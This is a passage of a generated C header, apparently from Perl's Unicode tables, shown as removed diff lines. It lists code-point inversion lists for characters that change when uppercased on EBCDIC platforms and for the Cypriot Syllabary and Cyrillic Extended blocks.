0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWU_invlist[] = { /* for EBCDIC 037 */ - 1229, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_CYPRIOTSYLLABARY_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10800, - 0x10840 -}; - -static const UV PL_CYRILLICEXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2DE0, - 0x2E00 -}; - -static const UV PL_CYRILLICEXTB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA640, - 0xA6A0 -}; - -static const UV PL_CYRILLICEXTC_invlist[] = { /* for all charsets */ 